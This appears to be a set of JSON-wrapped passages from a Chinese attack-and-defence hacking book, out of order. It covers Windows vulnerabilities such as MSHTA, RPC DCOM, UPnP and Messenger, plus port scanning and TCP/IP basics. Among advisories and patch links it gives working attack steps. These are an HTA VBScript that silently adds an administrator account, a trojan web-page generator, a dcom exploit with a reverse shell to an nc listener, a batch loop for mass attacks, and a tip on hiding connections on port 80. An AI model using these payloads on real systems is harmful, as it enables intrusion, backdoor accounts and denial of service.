    {"text": "5．安全解决方案  Microsoft Windows XP and Microsoft Windows XP Service Pack 1，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=6B70BA00-56D1-4314-8F53-F8355 A6861D3  Microsoft Windows XP 64-Bit Edition Service Pack 1，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=3F6896F3-F055-438D-93CE-CD15F 37264CB  Microsoft Windows XP 64-Bit Edition Version 2003，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=4B63EF24-D0E4-4005-8E23-2F5EC 24BE63F  Microsoft Windows Server 2003，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=0903569E-7F3D-4846-A1DC-78734E 77D3A9  Microsoft Windows Server 2003 64-Bit Edition，下载地址： 287 黑客攻防实战详解 http://www.microsoft.com/downloads/details.aspx?FamilyId=4B63EF24-D0E4-4005-8E23-2F5EC 24BE63F 5.2.5 Microsoft Windows ANI 文件解析远程缓冲区溢出漏洞 1．漏洞描述（引自 http://www.nsfocus.net/）  发布日期：2005-01-11  更新日期：2005-01-12  受影响系统： Microsoft Windows XP Professional SP1 Microsoft Windows XP Home SP1 Microsoft Windows NT 4.0 SP6a Microsoft Windows 2003 Microsoft Windows 2000 SP4 Microsoft Windows 2000 SP3  详细描述 Windows 处理动画光标文件时存在问题，远程攻击者可以利用这个漏洞构建恶意 ANI 文件， 诱使用户处理，可能以进程权限执行任意指令。 问题存在于 USER32.dll 处理.ani 文件时，ANI 部分文件格式如下： \"RIFF\" {(DWORD)Length_of_file} \"ACON\" \"LIST\" {(DWORD)Length_of_list} \"INFO\" \"INAM\" {(DWORD)Length_of_title} {szTitle} \"IART\" {(DWORD)Length_of_author} {szAuthor} \"anih\" {(DWORD)Length_of_AnimationHeader} {AnimationHeaderBlock} 一般来说，AnimationHeaderBlock 长度是 36 字节(0x00000024)，此漏洞就是在处理 Length_of_ AnimationHeader 字段上，为了拷贝 AnimationHeaderBlock 的内容，这个值会作为长度参数传递给 memcpy()，但是这个值没有正确地进行检查，超长的参数可导致覆盖返回地址，并以进程权限执 行任意指令。 由于动画光标文件可提供给 Internet Explorer 使用，所以攻击者可以构建恶意 ANI 文件，诱使 用户处理，可能以进程权限执行任意指令。 2．漏洞分析 这是一个需要用户交互才能完成的溢出型漏洞，如果远程主机的使用者不打开入侵者恶意构 造的 ANI 文件，入侵者则无法利用此漏洞。"},
    {"text": "5．安全解决方案  Microsoft Windows NT? Workstation 4.0 Service Pack 6a，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=92400199-B3D5-4826-98D4-F13484 9F5249&displaylang=en  Microsoft Windows NT Server 4.0 Service Pack 6a，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=4604400A-287E-48CC-91B1-BEE44 EEA588C  Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=94A0B521-4C39-4D15-AA80-068C3 0476E6F  Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000 Service Pack 4，下载地 址： http://www.microsoft.com/downloads/details.aspx?FamilyId=722C6C65-3F6C-4029-8EB7-D4612 A785E78  Microsoft Windows XP Service Pack 1，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=8850954D-57D9-4D23-9AA1-1CCF6 085A057  Microsoft Windows XP 64-Bit Edition Service Pack 1，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=2325700F-7931-4B0C-A978-BCFF46 9B8061  Microsoft Windows XP 64-Bit Edition Version 2003，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=16A52196-0BD0-4355-9F29-2B26C B0961AF  Microsoft Windows Server 2003，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=CBCCADF6-449A-4D74-937D-4087 A6E6C1C2  Microsoft Windows Server 2003 64-Bit Edition，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=16A52196-0BD0-4355-9F29-2B26C B0961AF 290 第 5 章 Windows 操作系统漏洞 5.2.6 Microsoft Windows MSHTA 脚本执行漏洞 1．漏洞描述（引自 http://www.nsfocus.net/）  发布日期：2005-04-14  更新日期：2005-04-14  受影响系统： Microsoft Windows 2000 SP4 Microsoft Windows 2000 SP3 Microsoft Windows XP SP2 Microsoft Windows XP SP1 Microsoft Windows XP 64-bit Edition SP1 Microsoft Windows XP 64-Bit Edition 2003 版（Itanium） Microsoft Server 2003 for Itanium-based Systems Microsoft Server 2003  详细描述 Microsoft HTML Application Host（MSHTA）是 Microsoft Windows 操作系统的一部分，只有 通过这个应用才能执行.HTA 文件。"},
    {"text": "2．漏洞说明 从上面的描述中可以看出，如果想成功利用此漏洞，需要与存在此漏洞的远程主机的用户进 行交互，当远程主机的用户打开能够触发漏洞的文件后，入侵者可以以系统权限执行指令。"},
    {"text": "3．漏洞检测 漏洞的检测使用 Microsoft 自产的 Microsoft Baseline Security Analyzer（简称为 MBSA）进行。 MBSA 是微软专用于检测 Windows 漏洞的工具，目前最新版本是 1.2.1beta 版，beta 是指本版本为 测试版。"},
    {"text": "Microsoft 的网站提供安装文件的下载，英文版的下载地址是 http://download.microsoft.com/ download/9/0/7/90769f0c-c025-48bf-a9c7-60072d0cb717/MBSASetup-EN.msi。"},
    {"text": "③ 单击“Next”按钮后，会出现两种情况：第一种情况是系统中没有安装 MSXML Parser 和 IE 5.01 以上的版本，这时会出现如图 5-50 所示的界面，要求下载安装 MSXML Parser 和 IE 5.01 以上的版本。"},
    {"text": "第二种情况是系统中已安装了所需要的软件部分，这时将会直接跳过软件下载要求界面，显 示如图 5-51 所示，可以单击“Browse”按钮更改程序的保存位置。"},
    {"text": "图 5-50 图 5-51 ③ 单击“Next”按钮，如图 5-52 所示。 ④ 单击“Install”按钮后，如图 5-53 所示。 图 5-52 图 5-53 ⑤ 程序拷贝结束后显示如图 5-54 所示。"},
    {"text": " 1：显示欢迎信息  2：扫描一台指定主机  3：对指定 IP 段主机进行扫描  4：选择查看历史扫描过的安全报告  5：帮助信息  6：关于 MBSA 的信息说明  7：访问微软安全站点  8：扫描一台指定主机  9：对指定 IP 段主机进行扫描  10：查看历史扫描过的安全报告 ② 扫描一台指定主机。"},
    {"text": "Options：选项包括 Check for Windows vulnerabilities（检测 Windows 系统漏洞） 、Check for weak passwords（检测弱口令） 、Check for IIS vulnerabilities（检测 IIS 漏洞）、Check for SQL vulnerabilities （检测 SQL 漏洞）和 Check for security updates（检查安全更新）。"},
    {"text": "③ 对指定 IP 段主机进行扫描。 单击“Pick multiple computers to scan”，出现对指定 IP 段主机进行扫描的设置界面，如图 5-57 所示。 图 5-57 IP address range：用于指定扫描的 IP 段。 ④ 完成相关参数的设置，进行扫描。"},
    {"text": "4．漏洞利用 （1）漏洞利用工具（一）  使用工具：mshta.exe  命令格式：mshta.exe *.hta filename.* *.hta 是已有的 hta 文件，这个文件需要使用者自己编写。"},
    {"text": "filename.*是生成文件的名，注意这里的*代表生成文件的后缀，生成文件的后缀不能是已有 的后缀，可以使用如 xcxcc 这样的后缀，但不能使用类似 doc 这样已有的后缀。"},
    {"text": "这个漏洞的利用原理也是这样，入侵者构建了一个恶意文件传递给远程用户， 用户打开这个恶意文件时实际上是调用了 MSHTA。 工具说明：Microsoft Windows MSHTA 是脚本执行漏洞的专用漏洞利用工具。"},
    {"text": "当存在此漏洞 294 第 5 章 Windows 操作系统漏洞 的远程主机打开生成的文件后，将会触发漏洞同时执行生成文件中指定的代码（如从指定位置下 载木马服务器端并执行或者添加后门账号）。"},
    {"text": "（2）漏洞利用工具（二）  使用工具：mm.vbs  工具说明：网页木马的作用是将已有的木马服务器端伪装成网页。 mm.vbs 是木马帝国 chin 编写一个网页木马生成器。"},
    {"text": "利用思路：利用 mshta.exe 生成漏洞利用文件，使用显示 IP 的 QQ 查找用户并记录 IP，将文 件发送给对方。 对方主机成功触发漏洞后，可以通过开设的后门账号进行登录。"},
    {"text": "<script language=\"VBScript\"> set wshshell=createobject (\"wscript.shell\" ) a=wshshell.run (\"cmd.exe /c net user sql ssn /add\",0) a=wshshell.run (\"cmd.exe /c net localgroup Administrators sql /add\",0) window.close </script> 代码的功能是添加一个用户名为 sql 密码为 ssn 的账号，并将 sql 添加为系统管理员。"},
    {"text": "图 5-60 图 5-61 步骤 4 远程主机溢出后的状态 接收到文件的远程主机用户打开 test.squirrel 后，将会在本地添加一个账号，如图 5-63 所示。"},
    {"text": "图 5-62 图 5-63 上述的实例分析了漏洞的使用原理，实际操作中，使用上述方法利用这个漏洞比较困难，主 要存在以下的问题。 ① 判断远程主机是否存在 MS05-016 对应的漏洞比较困难。 MBSA 虽然可以检测远程主机的 漏洞使用情况，但是前提条件是远程主机必须存在系统弱口令。"},
    {"text": "利用思路：生成网络神偷的服务器端。 利用网页木马生成工具将已生成的网络神偷服务器端 296 第 5 章 Windows 操作系统漏洞 做成网页木马。 在本地打开 HTTP 服务，并将生成的网页木马文件设为默认启动页，等待远程主 机的主动连接。 步骤 1 生成网络神偷服务器端 （略） 步骤 2 打开 mm.vbs，显示如图 5-64 所示。 在下边的文本框中输入网络神偷服务器端所在的路径，这里网络神偷服务器端命名为 ns.exe。"},
    {"text": "步骤 3 生成漏洞利用文件 打开 CMD 窗口，找到 mshta 利用文件所在的目录，输入“mshta.exe test.hta test.jeg”，执行， 显示如图 5-66 所示。"},
    {"text": "297 黑客攻防实战详解 图 5-69 6．安全解决方案  Microsoft 已经为此发布了一个安全公告（MS05-016）以及相应补丁下载地址： MS05-016：Vulnerability in Windows Shell that Could Allow Remote Code Execution（893086） http://www.microsoft.com/technet/security/Bulletin/MS05-016.mspx 5.3 远程溢出漏洞 5.3.1 Microsoft UPnP 存在缓冲溢出漏洞 1．漏洞描述（引自安全焦点 http://www.xfocus.net） Microsoft UPnP 存在缓冲溢出（MS01-059）  发布时间：2001-12-21  更新时间：2001-12-21  严重程度：高  威胁程度：远程管理员权限  错误类型：输入验证错误  利用方式：服务器模式  受影响系统： Microsoft Windows 98 Microsoft Windows 98SE Microsoft Windows Me Microsoft Windows XP  详细描述 Universal Plug and Play（UPnP）服务允许计算机发现和使用基于网络的设备，Windows Me/XP 本身包含了 UPnP 服务；"},
    {"text": "第一个漏洞是缓冲溢出漏洞，其中在处理 Notify 指示中没有检查缓冲溢出，此 Notify 指示是 指通告网络中具有 UPnP 能力的设备，通过发送特殊的不正常的 Notify 指示，可能导致攻击者产 生缓冲溢出，并以 System_Level 级别执行任意代码。 第二个漏洞的产生是因为 UPnP 没有充分地限制 UPnP 服务在使用新发现的设备获得信息的步 骤，在新 UPnP 设备发送的 Notify 指示中告诉感兴趣的计算机到哪里去获得它的设备描述信息， 298 第 5 章 Windows 操作系统漏洞 此信息列出了它们的设备提供的服务和方法。"},
    {"text": "设计上设备描述不仅仅可以存放设备在其自身上， 也可以存放在第三方服务器上，但是，UPnP 实现没有充分地控制怎样去执行这个操作，就有可能 导致两种拒绝服务攻击。 第一种拒绝服务攻击，攻击者可以发送 Notify 指示给有 UPnP 能力的计算机，指定设备描述 需要从特定服务器上特定端口中下载，如果服务器被配置成简单回应下载请求给 UPnP 服务，如 在这个端口上运行 echo 服务，计算机就会进入无限循环下载而导致消耗系统资源，攻击者可以通 过使用这个机器的 IP 构建和发送此类指示给目标机器用户，或者他可以发送此类同样的指示给广 播或者多播域，就可以产生拒绝服务攻击。 第二种拒绝服务攻击情况是攻击者可以指定第三方服务器作为 Notify 指示中设备描述的主 机，如果有足够多的机器响应这个指示，就可以通过伪造的请求攻击第三方服务器。"},
    {"text": "2．漏洞分析 UPnP（Universal Plug and Play 即插即用）能够自动识别安装到网络中的设备，但是 UPnP 服 务不能正确地处理某些特殊构造的请求，对于 Windows 98/98SE/Me，受影响系统将减缓运行或系 统崩溃。"},
    {"text": "从对系统的角度来看，Windows XP 默认打开 UPnP 服务，而 Windows 98/98SE/Me 则是 通过用户安装了 UpnP 服务后才会出现此漏洞。 3．漏洞利用 实例：通过 UPnP 漏洞实现远程连接 WindowsXP 系统。"},
    {"text": "步骤 1 漏洞扫描 使用 X-Scan 扫描 219.□.□.2~219.□.□.253，扫描参数设置如图 5-70 所示。 在扫描中发现主 机 219.□.□.6 存在 UPnP 漏洞，如图 5-71 所示。 图 5-70 图 5-71 步骤 2 漏洞溢出 键入“xpupnp 219.□.□.6 -e”，使目标机溢出后如图 5-72 所示。"},
    {"text": "4．安全解决方案  Microsoft Windows 98/98SE 下载地址： http://www.microsoft.com/Downloads/Release.asp?ReleaseID=34991  Microsoft Windows ME 下载地址： http://download.microsoft.com/download/winme/Update/22940/WinMe/EN-US/314757USAM.EXE  Microsoft Windows XP 下载地址： http://www.microsoft.com/Downloads/Release.asp?ReleaseID=34951 5.3.2 Microsoft RPC 接口远程任意代码可执行漏洞 1．漏洞描述（引自安全焦点 http://www.xfocus.net）  发布时间：2003-07-14  更新时间：2003-07-14  受影响系统 Microsoft Windows NT 4.0 Microsoft Windows NT 4.0 Terminal Services Edition Microsoft Windows 2000 Microsoft Windows XP Microsoft Windows Server 2003  详细描述 Remote Procedure Call（RPC）调用是 Windows 系统所使用的一个协议，提供进程间交互通信， 允许程序在远程机器上运行任意程序。"},
    {"text": "2．漏洞检测 （1）方法一：X-Scan 扫描 由于该漏洞比较新，X-Scan 2.3 还没有扫描 RPC 漏洞的扫描模块，不过最近已经出现了扫描 RPC 漏洞的插件 （DComRpc.xpn），只要把该插件拷贝到 X-Scan 的 plugin 目录中便可以使用 X-Scan 来检测 RPC 漏洞。"},
    {"text": "为 X-Scan 添加完 DcomRpc.xpn 插件后，重新打开 X-Scan 便可以发现在 X-Scan 的扫描模块 中已经含有了 DcomRpc 扫描项目，如图 5-73 所示。"},
    {"text": "300 第 5 章 Windows 操作系统漏洞 （2）方法二：使用 RPC 漏洞专用扫描器——Retina（R）-DCOM Scanner 打开 Retina（R）-DCOM Scanner，界面如图 5-74 所示。"},
    {"text": "3．漏洞利用 RPC 漏洞是 2003 年 7 月份被发现的，只在短短的一个月内，相应的扫描程序、漏洞利用程序 就出现了，更为可怕的是，基于 RPC 漏洞的病毒“冲击波”及其变种满网络横飞，使系统反复重 启、不能正常复制和拷贝文件、不能收发邮件、无法正常浏览网站，DNS、IIS 服务器、路由器等 遭到非法拒绝服务攻击等，从而使整个网络系统几乎瘫痪。"},
    {"text": "这两个程序配合使用，先使用 Rpcdcom 对远程主机发送畸形数据包，然后再使用 OpenRpcss 攻击远程主机，最终会在远程主机内部建立一个用户名为“qing10”，密码为“qing10”的管理员 301 黑客攻防实战详解 账号。"},
    {"text": "图 5-76 再使用 OpenRpcss 建立管理员账号，键入命令“OpenRpcss.exe\\\\192.168.245.133”，如图 5-77 所示。 通过上述过程，入侵者就可以成功地在远程主机内部建立一个管理员账号，下面通过 IPC$连 接来证明管理员账号建立成功，如图 5-78 所示。"},
    {"text": "方式一：打开远程主机指定端口（Bindshell 端口），然后由入侵者主动与远程主机建立连接。 方式二：远程主机主动连向入侵者，即反连接，该方式能够穿透一定设置的防火墙。 使用方法：dcom -d <host> [options] 302 第 5 章 Windows 操作系统漏洞 options 表示参数，可选项如下：  d: 0 远程主机 IP [必用参数]  t: 系统类型[默认：0]  r: 返回地址[默认：Selected from target]  p: 攻击远程主机端口[默认: 135]  l: z Bindshell 端口[Default: 666]  h: 反弹连接 IP  P: 反弹连接端口 系统类型:  0 : [Win2000-Universal]  1 : [WinXP-Universal] 下面通过实例来介绍如何通过该工具进行 RPC 入侵。  入侵方式一 在这种方式下，漏洞溢出后会打开远程主机端口，入侵者主动去连接。"},
    {"text": "首先，在 MS-DOS 中键入命令“nc –l –p 250”打开本地监听端口，然后另外打开一个 MS-DOS 窗口，键入命令“dcom -d 192.168.245.133 -h 192.168.245.1 -P 250”对远程主机进行 RPC 溢出，要注意最后一个参数是大写的“P” ，如图 5-81 所示。 303 黑客攻防实战详解 图 5-81 如果远程主机 RPC 漏洞溢出，连接成功，便会在本地 nc 监听端口上得到远程主机的命令窗 口，在该窗口中可以执行任何命令，如图 5-82 所示。"},
    {"text": "图 5-82 入侵方式二使用了 250 端口等待连接，如果远程主机管理员使用 netstat –n 命令来查看对外连 接列表，便会发现本机已经与外部通过 250 号端口建立了连接。"},
    {"text": "实际上，真正的入侵者并不会这 样大意，他们为了避免“暴露”，经常会打开本地的 80 号端口与远程计算机建立连接。 这样一来， 即使远程主机管理员查看对外连接，也只会发现正与入侵者的 80 端口建立连接，此时，管理员会 认为本机正在访问一个 Web 服务器，这在一定程度上可以减小入侵者“暴露”的机会。"},
    {"text": " Windows NT 4.0 Server 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=2CC66F4E-217E-4FA7-BDBF-DF77A0B9 303F&displaylang=en  Windows NT 4.0 Terminal Server Edition 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=6C0F0160-64FA-424C-A3C1-C9FAD2DC6 5CA&displaylang=en  Windows 2000 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=C8B8A846-F541-4C15-8C9F-22035444911 7&displaylang=en  Windows XP 32 bit Edition 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=2354406C-C5B6-44AC-9532-3DE40F69C0 74&displaylang=en  Windows XP 64 bit Edition 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=1B00F5DF-4A85-488F-80E3-C347ADCC4 DF1&displaylang=en  Windows Server 2003 32 bit Edition 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=F8E0FF3A-9F4C-4061-9009-3A212458E9 304 第 5 章 Windows 操作系统漏洞 2E&displaylang=en  Windows Server 2003 64 bit Edition 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=2B566973-C3F0-4EC1-995F-017E35692B C7&displaylang=en 5.3.3 Microsoft Windows Messenger 服务远程堆溢出漏洞 1．漏洞描述（引自 http://www.nsfocus.net/）  发布日期：2003-10-07  更新日期：2004-10-16  受影响系统： Microsoft Windows XP Microsoft Windows NT 4.0 SP6a Microsoft Windows NT 4.0 SP6 Microsoft Windows NT 4.0 SP5 Microsoft Windows NT 4.0 SP4 Microsoft Windows NT 4.0 SP3 Microsoft Windows NT 4.0 SP2 Microsoft Windows NT 4.0 SP1 Microsoft Windows NT 4.0 Microsoft Windows Me Microsoft Windows 98 Microsoft Windows 95 Microsoft Windows 2003 Microsoft Windows 2000 SP4 Microsoft Windows 2000 SP3 Microsoft Windows 2000 SP2 Microsoft Windows 2000 SP1 Microsoft Windows 2000  详细描述 Microsoft Windows 是微软开发的视窗操作系统，Windows Messenger 服务用于服务器与客户 端之间互相发送一些短消息。"},
    {"text": "Microsoft Windows Messenger 服务存在堆溢出问题，远程攻击者可以利用这个漏洞以系统权 限在目标机器上执行任意指令。 问题存在于 Messenger 服务程序的 search-by-name 函数中，攻击者提交特定序列的字符串给这 个函数可造成堆溢出，精心构建提交数据可能以系统权限在目标机器上执行任意指令。"},
    {"text": "步骤 1 漏洞检测 打开 RetinaMSGSVC.exe 扫描 192.168.232.2~192.168.232.253，发现 192.168.232.128 存在此 漏洞，如图 5-84 所示。 图 5-84 步骤 2 漏洞溢出 打开 CMD 窗口，找到漏洞利用工具所在目录，输入“msgdos.exe 192.168.232.128”，如图 5-85 所示。"},
    {"text": "重新打开一个记事本，输入“@for /f %%i in (filename) do msgdos.exe %%i”，filename 代表存 放 IP 地址的 txt 文件的文件名，这里的 filename 为 result.txt，将文件命名为 pcl.bat 保存到 msgdos.exe 存放的目录下。"},
    {"text": "4．安全解决方案  Microsoft Windows NT Workstation 4.0, Service Pack 6a 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=7597FCF4-6615-4074-9E46-A17D80 8ED38D&displaylang=en  Microsoft Windows NT Server 4.0, Service Pack 6a 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=B1949456-996A-485A-9A28-79FD7 9F26A1B&displaylang=en 307 黑客攻防实战详解  Microsoft Windows NT Server 4.0, Terminal Server Edition, Service Pack 6 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=64AB4B66-1A6E-4264-93A8-26CD B98B05A8&displaylang=en  Microsoft Windows 2000, Service Pack 2 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=A0061377-1683-4C13-9527-5534F6 C7CF85&displaylang=en  Microsoft Windows 2000, Service Pack 3, Service Pack 4 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=99F1B40D-906A-4945-A021-4B494 CCCBDE0&displaylang=en  Microsoft Windows XP Gold, Service Pack 1 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=F02DA309-4B0A-4438-A0B9-5B674 14C3833&displaylang=en  Microsoft Windows XP 64-bit Edition 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=2BE95254-4C65-4CA5-80A5-55FDF 5AA2296&displaylang=en  Microsoft Windows XP 64-bit Edition Version 2003 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=8B990946-84C8-4C91-899C-5A44E C13174E&displaylang=en  Microsoft Windows Server 2003 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=1DF106F3-7EC4-4EB0-9143-C1E3C 9E2F5F8&displaylang=en  Microsoft Windows Server 2003 64-bit Edition 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=8B990946-84C8-4C91-899C-5A44E C13174E&displaylang=en 5.3.4 Windows ASN_1 库 BER 解码堆破坏漏洞 1．漏洞描述（引自 http://www.nsfocus.net/）  发布日期：2004-02-10  更新日期：2004-02-11  受影响系统： Microsoft Windows XP Professional SP1 Microsoft Windows XP Professional Microsoft Windows XP Home SP1 Microsoft Windows XP Home Microsoft Windows NT 4.0 SP6a Microsoft Windows NT 4.0 SP6 Microsoft Windows NT 4.0 SP5 Microsoft Windows NT 4.0 SP4 Microsoft Windows NT 4.0 SP3 Microsoft Windows NT 4.0 SP2 Microsoft Windows NT 4.0 SP1 308 第 5 章 Windows 操作系统漏洞 Microsoft Windows NT 4.0 Microsoft Windows 2003 Microsoft Windows 2000 SP4 Microsoft Windows 2000 SP3 Microsoft Windows 2000 SP2 Microsoft Windows 2000 SP1 Microsoft Windows 2000  详细描述 Abstract Syntax Notation 1（ASN.1）是用于多个应用程序和设备的数据标准，允许数据可在各 种平台传递。"},
    {"text": "Microsoft ASN.1 库广泛使用在 Windows 安全子系统，包含 kerberos、NTLMv2 验证， 以及使用各种证书的应用程序（SSL、E-mail 数字签名、ActiveX 控件签名）中。"},
    {"text": "每片数据 包括：数据类型号、数据长度和数据，通过提供超大值（从 0xFFFFFFFD 到 0xFFFFFFFF）给长 度字段，可在堆分配函数中产生整数溢出，虽然有地方对这个值长度进行确认和检查，不过在验 证函数中，独立的指针算法会导致漏洞发生。"},
    {"text": "这里为了使用方便，将 TCP Porter Scanner.exe 重命名为 s.exe，其使用说明与使 用示例如图 5-88。 309 黑客攻防实战详解 图 5-88 这里要说明一下/save 参数，在命令行中加入此参数后，每次扫描的结果都会存入与 TCP Porter Scanner 同一目录下的 Result.txt 中。"},
    {"text": "3．漏洞利用  使用工具：MS04-007-dos  命令格式：MS04-007-dos <target hostname> <port> [netbios name] 其中 target hostname 指目标主机 IP 或目标主机名，port 为端口号，netbios name 是可选项代表 NetBIOS 名。"},
    {"text": "作者编写此攻击程序的目的是希望可以引起人 们对此漏洞的重视，因此攻击程序在对目标主机进行溢出攻击后，并不会开放目标主机的某指定 端口，取而代之的是使目标主机关闭 LSASS 并在一分钟后重新启动。"},
    {"text": "步骤 1 漏洞检测 打开 X-Scan 扫描 192.168.75.2~192.168.75.253，发现 192.168.75.129 存在此漏洞，如图 5-89 所示。 图 5-89 步骤 2 漏洞溢出 使用 MS04-007-dos.exe 对 192.168.75.129 进行溢出攻击，如图 5-90 所示。"},
    {"text": "黑客攻防实战详解 80 网页浏览服务 POP3 110 邮件服务 SMTP 25 简单邮件传输服务 Socks 1080 代理服务 表 2-3 常见 UCP 公认端口号 服务名称 端 口 号 说 明 RPC 111 远程调用 SNMP 161 简单网络管理 TFTP 69 简单文件传输 3．TCP/IP 协议基础知识 首先简要介绍 Internet 的基本通信协议 TCP/IP 协议。"},
    {"text": "应用层 应用层 （应用层协议如 HTTP、 （应用层协议如 HTTP、 FTP、SMTP、Telnet 等） FTP、SMTP、Telnet 等） 运输层 TCP、UDP 32 Bit 运输层 TCP、UDP 网际层 IP 网际层 IP 网络接口层 网络接口层 图 2-44 Internet 的网络通信大多是建立在这个协议之上的，各个主机遵循着 TCP/IP 协议封装数据包 进行通信。 由图 2-44 可见，TCP/IP 在运输层包括两个协议 TCP 和 UDP，并且 TCP 和 UDP 都使用相同 的网际层 IP，TCP 与 UDP 协议各自特点如下。"},
    {"text": "源端口 目的端口 序号 确认序号 数据偏移 保留 窗口 U A PSH RS S F RG CK YN IN T 检验和 紧急指针 选项和填充 数据 图 2-45 3．三次握手 当使用 TCP 协议的时候，需要双方计算机建立 TCP 连接，把这个建立过程形象地称为“三次 握手” 。"},
    {"text": "① 主机 ② A 主机 B ③ 图 2-46 第一次：主机 A 的 TCP 向主机 B 的 TCP 发出连接请求报文段，其首部中的同步比特 SYN=1， ACK=0，同时选择一个序号 x ，表明在后面传送数据时的第一个数据字节的序号是 x 。 第二次：主机 B 的 TCP 收到连接请求报文段后，如同意，则发回确认。"},
    {"text": "在确认报文段中应将 SYN=1，ACK=1，确认序号应为 x +1，同时也为自己选择一个序号 y 。 第三次：主机 A 的 TCP 收到此报文段后，还要向 B 给出确认 ACK=1，其确认序号为 y +1。"},
    {"text": "三次握手后，主机 A 和主机 B 就可以相互进行数据传输。 三次握手的功能：保证双方都相互知道对方已准备好进行数据传输，双方确认一个数据传输 的初始序列号。"},
    {"text": "IPv6 协议全称 Internet Protocol Version 6， 即 IP 协议的 6.0 版本，通常又称为下一代因特网协议，IPv6 是 Internet 工程任务组（IETF）开发 48 第 2 章 信息搜集 设计的用来替代现行 IPv4 协议的一种新 IP 协议。 IPv6 和 IPv4 作用大致相同，开发的目的主要是 为了缓解 IPv4 地址空间的压力，另外还弥补了 IPv4 协议的一些问题，包括端对端 IP 连接、服务 质量（QoS）、安全性、扩展性及即插即用等。"},
    {"text": "2.3.2 端口扫描原理 前面简要地介绍了计算机之间是如何通信的，从中可以看出，入侵者如果想要探测目标计算 机都开放了哪些端口、提供了哪些服务，就需要先与目标端口建立 TCP 连接，这也就是“扫描” 的出发点。 1．端口扫描原理 尝试与目标主机的某些端口建立连接，如果目标主机该端口有回复（见三次握手中的第二次） ， 则说明该端口开放，即为“活动端口”。 2．扫描原理分类 （1）全 TCP 连接 这种扫描方法使用三次握手，与目标计算机建立标准的 TCP 连接。"},
    {"text": "a．如果目标计算机的回应 TCP 报文中 SYN=1，ACK=1，则说明该端口是活动的，接着扫描 主机传送一个 RST 给目标主机拒绝建立 TCP 连接，从而导致三次握手过程的失败。"},
    {"text": "2.3.3 端口扫描应用 1．工具一：X-Port （1）功能简介 多线程方式扫描目标主机开放端口，扫描过程中根据 TCP/IP 堆栈特征被动识别操作系统类 49 黑客攻防实战详解 型，若没有匹配记录，尝试通过 NetBIOS 判断是否为 Windows 系列操作系统并尝试获取系统版本 信息。"},
    {"text": "（2）使用方法 C:\\x-port>xport X-Port v1.2 - command line port scanner, code by glacier http://www.xfocus.org glacier@xfocus.org Usage: xport <Host> <Ports Scope> [Options] <Ports Scope> means: <Start Port>[-<End Port>][,Port1,Port2-Port3,...] [Options] means: -m [mode] : specify scan mode (tcp/syn), default is tcp connect mode -t [count]: specify threads count, default is 50 -v : display verbose information 例：xport www.xxx.com 80 -m syn xport 192.168.1.1 2-1024 -t 200 -v （3）实例 使用命令： xport www.****.edu.cn 2-90 如图 2-47 所示。"},
    {"text": "图 2-47 从结果可以看出，前 90 个端口中开放了 7 个：  Port 9 is opened: Discard  Port 13 is opened: Daytime  Port 21 is opened: FTP <Control>  Port 22 is opened: SSH  Port 25 is opened: SMTP 50 第 2 章 信息搜集  Port 37 is opened: Time  Port 80 is opened: HTTP 从扫描结果可知，该服务器提供的服务还是相当齐全的。 但是要注意到，这里是以 TCP 全连 接方式进行的端口扫描，这样的话，入侵者的 IP 很可能被目标计算机记录下来，因此，X-Port 还可 以按照 SYN 的方式进行扫描，也就是半打开式扫描。"},
    {"text": "图 2-50 图 2-51 步骤 2 进行主机和服务扫描设置，如图 2-52 所示。 步骤 3 设置扫描选项，如图 2-53 所示。 图 2-52 图 2-53 步骤 4 单击“开始”按钮，开始扫描，得到的扫描结果可通过查看 HTML 结果来进行查看。"},
    {"text": "由于扫描是通过 固定格式的询问来试探主机的某些特征的，而这种重复的操作最适合交给“程序”来完成，因此， 在网络安全领域开始出现了“扫描器”这个强大的武器。 一开始，扫描器大多是“专用”的，即 每一种扫描器只能扫描一种特定的信息，后来随着网络的发展，被发现的漏洞越来越多，专用的 扫描器也随之增多。"},
    {"text": "为了简化扫描过程，人们把众多专用的扫描器集成为一个扫描器，这就是本 节将要介绍的综合扫描器。 顾名思义，一个综合扫描器可以完成许多项目扫描。"},
